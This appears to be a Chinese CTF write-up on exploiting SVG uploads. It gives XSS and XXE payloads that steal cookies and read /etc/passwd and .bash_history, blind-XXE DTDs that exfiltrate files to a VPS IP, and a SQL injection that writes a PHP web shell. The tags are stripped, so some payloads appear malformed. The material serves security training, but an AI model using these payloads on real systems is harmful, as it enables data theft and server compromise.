服务热线
15527777548/18696195380
发布时间:2020-12-01
简要描述:
本文首发于“合天网安实验室”作者:Kawhi本文涉及靶场知识点:XXE漏洞分析与实践:">这里有几个需要注意的点:ip换成自己的vps的ip这里的会被xml解析成%,如果直接用%的话我本地会报...
本文首发于“合天网安实验室”作者:Kawhi

那么假设存在一个能够上传SVG的WEB服务器,并且没有对SVG内容进行严格过滤,这就很有可能造成XSS问题。
vps成功接收到信息
然后再获取cookie即可svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">
最后在Reportbug处提交图片即可获得flag,这里借用一下郁离歌师傅的图。
打开页面就提示Convert SVG to PNG with Magic这里我们首先想到的思路就是文件上传那些步骤,一句话木马以及.htaccess等等,但是多次上传利用无果,因为会报一个500的错误,这里的话可以利用SVG配合XXE去读取他的一个文件。我们直接读取/etc/passwd试一下:?xml version="1.0" encoding="UTF-8"?>!DOCTYPEnote[!ENTITY file SYSTEM "file:///etc/passwd" >
]>svgheight="100"width="1000">textx="10"y="20">/text>/svg>我们把上面这段代码保存为1.svg,并上传。
可以发现成功回显了带有/etc/passwd内容的图片,但是图像太小,无法容纳所有内容,这里我们可以调整他的width宽度,调大一点就可以看到所有的内容了。还有个问题就是我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/pwd/flag.txt读取文件。最后payload如下:?xml version="1.0" encoding="UTF-8"?>!DOCTYPEnote[!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>svgheight="100"width="1000">textx="10"y="20">/text>/svg>我们保存为2.svg上传,发现成功读取到flag。
无回显的情况在说这个点之前,我们先来看看普通XXE无回显是如何外带数据的,这里我在本地演示一下:先在本地PHPStudy写入无回显处理XML的代码xml.php?phplibxml_disable_entity_loader(false);$xmlfile=file_get_contents('php://input');$dom=newDOMDocument();$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);?>然后在自己的VPS上放置xml.dtd!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
!ENTITY % start "!ENTITY send SYSTEM 'http://ip:1234/?%file;'>">这里有几个需要注意的点:ip换成自己的vps的ip这里的会被xml解析成%,如果直接用%的话我本地会报错。注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,我自己在本地做测试的时候,发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以保险起见还是加上,最后对文件内容做一个base64的解码就行。最后我们POST提交的payload?xml version="1.0"?>
!DOCTYPE Note [
!ENTITY % remote SYSTEM "http://ip/xml.dtd">
%remote;
%start;
%send;
]>这里的ip同样换成自己的vps的ip下一步在VPS上开启监听1234端口nc -lvp 1234然后我们抓xml.php的POST包并发送payload
可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。
我们来梳理一下他的整个调用过程
我们先写一个简单的SVG图片源码放在vps上,保存为1.svg?xml version="1.0" encoding="UTF-8"?>!DOCTYPENote[!ENTITYfile"HELLO">]>svgxmlns="http://www.w3.org/2000/svg"height="200"width="200">texty="20"font-size="20">/text>/svg>提交SVG图片源码地址发现实体成功显示,然后我们尝试读取一下用户的history文件?xml version="1.0" encoding="UTF-8"?>!DOCTYPENote[!ENTITY file SYSTEM "file:///home/r1ck/.bash_history">
]>svgxmlns="http://www.w3.org/2000/svg"height="200"width="200">texty="20"font-size="20">/text>/svg>页面虽然正常返回信息,但是并不能直接读到我们想要的东西,但是无回显,所以这里就可以利用到盲XXE来外带数据了,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。构造1.svg?xml version="1.0" encoding="UTF-8"?>!DOCTYPENote[!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd">
%remote;
%start;
%send;
]>svgxmlns="http://www.w3.org/2000/svg"height="200"width="200">texty="20"font-size="20">/text>/svg>构造xml.dtd!ENTITY % start "!ENTITY send SYSTEM 'http://ip:1234/?%file;'>">然后我们把1.svg和xml.dtd放到我们的vps上,然后在我们的vps上监听1234端口,再在网页提交1.svg的链接即可成功读取到.bash_history,内容如下:cd /app
php -S 0.0.0.0:8080可以得知在8080端口有另外一个web服务,我们继续利用XXE数据外带读取源码,修改1.svg的一部分内容如下,其余操作一样!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php">读取到源码如下:!doctype html>html>head>meta charset="UTF-8">title>index/title>/head>Hi!You Find Me .Flag is nearby.body>/body>/html>?php
$conn=mysql_connect('127.0.0.1','root','');mysql_select_db('security');if($_GET['id']){$id=$_GET['id'];}else$id=1;$sql="select * from user where id='$id'";$result=mysql_query($sql,$conn);$arr=mysql_fetch_assoc($result);print_r($arr);?>发现sql注入,没有任何的过滤,直接利用into outfile写个一句话木马,当然这里要注意的是传入的时候要url编码。http://127.0.0.1:8080/index.php?id=-1' union select 1,'?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#写完shell之后,继续利用数据外带读取内容,重复上面的步骤即可。读取文件目录:!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">读取flag:!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">
如果您有任何问题,请跟我们联系!
联系我们
